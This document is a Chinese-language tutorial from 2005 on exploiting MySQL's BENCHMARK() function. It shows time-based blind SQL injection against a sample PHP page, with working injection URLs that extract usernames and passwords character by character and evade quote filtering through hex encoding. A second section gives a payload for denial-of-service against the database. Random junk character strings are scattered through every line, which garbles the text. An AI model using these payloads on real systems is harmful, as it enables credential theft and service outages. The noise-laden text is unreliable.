MYSQL中BENCHMARK函数的利用 ; \9 J( O5 L$ p4 u; `) t, ?
本文作者:SuperHei
6 D& }" N) W+ I d. |8 E+ k: b文章性质:原创
/ l7 p0 O a5 q- }2 m发布日期:2005-01-02
# b, R( F- V( [9 O0 m3 b4 [3 {6 [完成日期:2004-07-09
: N& X7 K* S1 v- W: w. d& m第一部
$ x4 z. f3 e( j7 d2 j2 [! _: S! Z9 ?2 ~2 I
利用时间推延进行注射---BENCHMARK函数在注射中的利用 " b; h# e; r6 W
o. t+ ^9 Z- Z B j一.前言/思路
* Q4 j) r5 `- C, u; ^3 O
1 q# ^4 L. C$ ~5 E* E 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。0 e. g- c6 h* _( E
9 h9 B) r: ?; w4 y2 V, {2 U
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
# i( } M( o1 L/ W" H3 o: J I, s2 }
二.关于BENCHMARK函数
: R$ S; A t4 J7 [! M
) O. H; w# p1 m; g 在MySQL参考手册里可以看到如下描叙:
9 A F" k9 ] T8 I9 X
7 Q& y# B' u* H6 r4 w. Z/ z) U" l' f6 @
--------------------------------------------------------------------------------2 j$ W+ }2 f2 w* h
! \7 r2 G( K& r) X( y
BENCHMARK(count,expr) 3 W V( j! |- ~8 e4 D& U
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 5 u% H p1 X3 x# s" k d- V" D
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
. j' ]& m' F% `. S1 N+----------------------------------------------+ / X- M Q) A$ K
| BENCHMARK(1000000,encode("hello","goodbye")) | , w6 _* p; l; D0 |7 x7 f
+----------------------------------------------+ 2 b0 `' v8 Z8 r" Z
| 0 | : \) z4 G \+ W- B0 Z$ p. s
+----------------------------------------------+
: c" L7 f- d1 x! b3 V3 j# N" A1 row in set (4.74 sec) : X2 b L- r( x0 n# }: s
4 q: A/ a1 a( x. m# i; u3 }报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。 f6 g! T: d# @0 K
5 m' u" S: |3 S6 U2 R5 P# J+ R
" Z0 k7 n7 w5 y1 m--------------------------------------------------------------------------------
+ g3 {; P. |: n3 v& r2 B6 T" u
1 [- D0 d. j! B; E# d2 V 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
& r! m! m' V" \ Y/ d/ s! c Y2 A$ j+ A+ g, A, G$ z
mysql> select md5( 'test' ); # ~9 P; ` @6 A+ i
+----------------------------------+
! _9 q+ G9 v: s# D5 {* R4 I| md5( 'test' ) | ( w7 c/ T8 V4 ]4 H; H
+----------------------------------+ # O: d) B' Y+ E% [
| 098f6bcd4621d373cade4e832627b4f6 |
4 A+ j- v: G( u, i+----------------------------------+ 5 W O: }7 v" o1 \. e1 R
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
# L: A: b& Y% Q! y/ z) R- L
! X& s! t) [' H" Dmysql> select benchmark( 500000, md5( 'test' ) ); 2 u& v$ K+ H2 a; }
+------------------------------------+ 5 u6 x* @( @" i
| benchmark( 500000, md5( 'test' ) ) | 2 f- n% y2 [6 U
+------------------------------------+
8 A( L5 ?5 X+ S| 0 | ; z! s" o$ x0 t. P" ~6 Y
+------------------------------------+ 5 i1 r: V- H* D5 f0 ]* e$ h
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec4 l3 Q; A! ^5 @5 [
I U# ]3 y ^+ H. }; t$ ~. |% ^& h# T L
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 - W. w3 Y& w$ s
% n# I) r4 }+ K. s$ E0 h* Q5 {三.具体例子
: b7 m: [, Y! l% l; Z
& K m' S1 T1 G, {5 G( v 首先我们看个简单的php代码:
8 R- B" j$ Y- U" x3 ?. r% e% P' u3 h- h* t" O$ l
< ?php
y# V; f, {3 E4 ~. D8 `6 }: B$servername = "localhost"; 8 r2 I7 Y) K& X
$dbusername = "root"; 8 H- c0 @" y- h9 T4 u6 S5 T5 b
$dbpassword = ""; # M/ i5 n7 M% n8 X! u$ l
$dbname = "injection";
7 d) K$ M- w5 R$ I: U6 x" H4 w! |& O |# }3 U
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 5 q/ Q8 A4 _' @
6 k7 `0 K4 H7 J- C! K+ t$sql = "SELECT * FROM article WHERE articleid=$id"; $ x$ v9 F) k4 i
$result = mysql_db_query($dbname,$sql); 4 ~. \: R9 W# {
$row = mysql_fetch_array($result);
; N/ ^" j$ M. |5 s5 J" I( H/ U7 [3 ~8 @6 @, w% ]6 x
if (!$row)
# L4 h2 u- ] N{
( `% F1 _6 Q! J! P, {exit; 5 N" v* c9 m8 x& B$ I, K
}
; l2 a8 S" j. b5 s1 H! P' M6 A: c?>
4 b2 W7 g7 k! X! p ~' E+ A+ X% ^, g, L& ]) G! }) ^
( ^& _2 {8 U; _2 M2 v8 @
数据库injection结构和内容如下:
8 \& s3 s& r) o2 T9 E
* A! l9 |; {2 b0 c# 数据库 : `injection`
7 c& c/ S) l' M#
0 v# f8 w: [1 J6 V% p& E; e; l9 Q' I0 [1 j4 b3 `, H& @
# --------------------------------------------------------
- y o. w3 D4 z0 J
! ~* I) j V+ E/ l' o$ j# # a3 B3 g2 `0 N9 P8 h& e
# 表的结构 `article` 1 Z, d8 d F3 j- }
# ) A( U! ]: u$ t( |9 x. t% z! S& u3 O
* M6 w! P2 `; J K3 D
CREATE TABLE `article` (
/ l1 i! M1 M$ [8 A" k+ p`articleid` int(11) NOT NULL auto_increment,
0 G, {: X( s8 L- d2 o- r$ T`title` varchar(100) NOT NULL default '', , X; B3 v' F9 d1 Z0 Y4 I& b( i
`content` text NOT NULL, 3 Z+ J% Y0 m' l9 `3 j
PRIMARY KEY (`articleid`) 7 P: q3 O' {$ z3 x4 ?0 z7 C; l
) TYPE=MyISAM AUTO_INCREMENT=3 ; ! m8 P6 g' S H# p6 l7 {
7 g+ q9 f% C# h5 [- O
#
5 I! d( {$ l9 u1 ~6 k2 N% T/ R# 导出表中的数据 `article`
; a2 d2 Y" i% _& u9 E7 s E* d# 3 B6 i4 W4 r0 c/ s+ G# d
* o' v9 h* c5 @/ DINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
j- p$ n- p, s( AINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); ' Q2 o# w# r( i" I, R5 l
7 o. D& d; b1 u& C# -------------------------------------------------------- # G1 S3 k9 [2 s! Z
# k' `' \0 @3 y0 c5 n
#
, O7 V# G" E2 q% L2 P: _# 表的结构 `user`
- J0 A7 R3 x$ e8 E* R4 [6 a# A. R' y4 [# C+ k$ e; |
3 [$ J5 p/ g# a% Y3 zCREATE TABLE `user` ( , A( X) y/ |( d1 y& P
`userid` int(11) NOT NULL auto_increment, & k K5 }! r5 M. F9 e0 c* U
`username` varchar(20) NOT NULL default '', 6 e8 g5 X3 O& D
`password` varchar(20) NOT NULL default '',
7 i. f4 }& H* s' C) Y7 c1 w9 |PRIMARY KEY (`userid`)
; j4 p+ k% L& b$ |/ j) TYPE=MyISAM AUTO_INCREMENT=3 ;
6 z7 V, z# J, j+ H& q8 C, }1 y( b) F S8 x' L
# 8 f3 h# ^. r/ d; k' y3 D
# 导出表中的数据 `user`
9 J0 k- F, |8 [* Q* p3 n# 8 K$ W. X6 W- J# q8 s% x+ j
$ @! }0 Y) F# v5 ^" E( f% AINSERT INTO `user` VALUES (1, 'angel', 'mypass'); 5 g% G& C6 D7 {& X
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
9 H- }" I) b. S - g5 { |+ H; c G8 f, S
) j! m0 E& u% y' r3 m% y4 W# n+ a 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
1 ^6 {6 Y# \/ B4 V# P: x4 U6 T% I; B9 b9 F/ @; m. \
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
5 O0 ~( d- F+ A2 d+ W
6 H4 E/ |3 x% R6 N; [9 d
. L. a, b* u+ S" B# P4 C. l0 w: T. z 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
' I' n0 a1 C2 r, w- R& W1 t# y6 {/ Y( ], ?6 O7 i0 a
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*. s; |3 h# Q! @3 G5 u$ z# q
1 Q! _/ K/ m6 y& M
' t& t- `9 ^/ G3 K4 V 执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 2 l9 j( {7 _0 f
. g- }% s: N9 I% v$ i0 [5 g+ L- x/ s 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 ) M) l; b0 ~, C+ g6 A6 f0 r6 v
1 w) D, S H' [第二部
; C" Y9 r5 F. G1 D- Q% i
; R) B/ J# X& ?1 n1 _利用BENCHMARK函数进行ddos攻击 $ j: x# _" D# @ |2 o; l
; F0 {9 T% d5 j
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:0 ~9 C5 l) S& n7 ]0 J ?
1 `; {( T0 G2 I( d) yhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
. o4 j0 w1 s, Z6 J: \5 ~" C . j' Y1 I: D& u, {$ d8 M* u9 `
6 t# h7 \" m3 f5 @
小结
5 I0 S# i1 ~# B) A
0 X U, W/ p3 D' } 本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
' k1 c9 k, k$ g: H& N ' H @0 M; L2 F9 f7 u
) v1 `1 F$ L5 Q9 Y' A' s
|